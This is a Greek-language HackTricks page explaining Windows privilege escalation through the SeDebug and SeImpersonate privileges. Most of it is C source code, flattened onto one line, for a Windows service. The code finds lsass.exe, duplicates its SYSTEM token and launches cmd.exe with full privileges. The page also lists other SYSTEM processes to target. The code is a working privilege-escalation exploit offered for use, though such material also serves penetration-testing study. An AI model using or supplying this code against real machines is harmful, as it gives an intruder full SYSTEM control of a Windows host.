Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Ο παρακάτω κώδικας εκμεταλλεύεται τα προνόμια SeDebug και SeImpersonate για να αντιγράψει το token από ένα διεργασία που εκτελείται ως SYSTEM και με όλα τα προνόμια του token.
Σε αυτήν την περίπτωση, αυτός ο κώδικας μπορεί να μεταγλωττιστεί και να χρησιμοποιηθεί ως δυαδικό αρχείο υπηρεσίας Windows για να ελεγχθεί ότι λειτουργεί.
Ωστόσο, η κύρια μέρα του κώδικα όπου γίνεται η ανύψωση βρίσκεται μέσα στη συνάρτηση Exploit.
Μέσα σε αυτήν τη συνάρτηση μπορείτε να δείτε ότι αναζητείται η διεργασία _lsass.exe_, στη συνέχεια αντιγράφεται το token της, και τέλος αυτό το token χρησιμοποιείται για να δημιουργηθεί ένα νέο cmd.exe με όλα τα προνόμια του αντιγραμμένου token.
Άλλες διεργασίες που εκτελούνται ως SYSTEM με όλα ή τα περισσότερα από τα προνόμια του token είναι: services.exe, svhost.exe (ένα από τα πρώτα), wininit.exe, csrss.exe... (να θυμάστε ότι δεν θα μπορείτε να αντιγράψετε ένα token από μια προστατευμένη διεργασία). Επιπλέον, μπορείτε να χρησιμοποιήσετε το εργαλείο Process Hacker που εκτελείται ως διαχειριστής για να δείτε τα token μιας διεργασίας.
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("TokenDanceSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//This function will find the pid of a process by nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {HANDLE hSystemToken, hSystemProcess;HANDLE dupSystemToken =NULL;HANDLE hProcess, hThread;STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;ZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));// open high privileged processif ( pid =FindTarget("lsass.exe") )hSystemProcess =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract high privileged tokenif (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS,&hSystemToken)) {CloseHandle(hSystemProcess);return-1;}// make a copy of a tokenDuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenPrimary,&dupSystemToken);// and spawn a new process with higher privsCreateProcessAsUserA(dupSystemToken,"C:\\windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}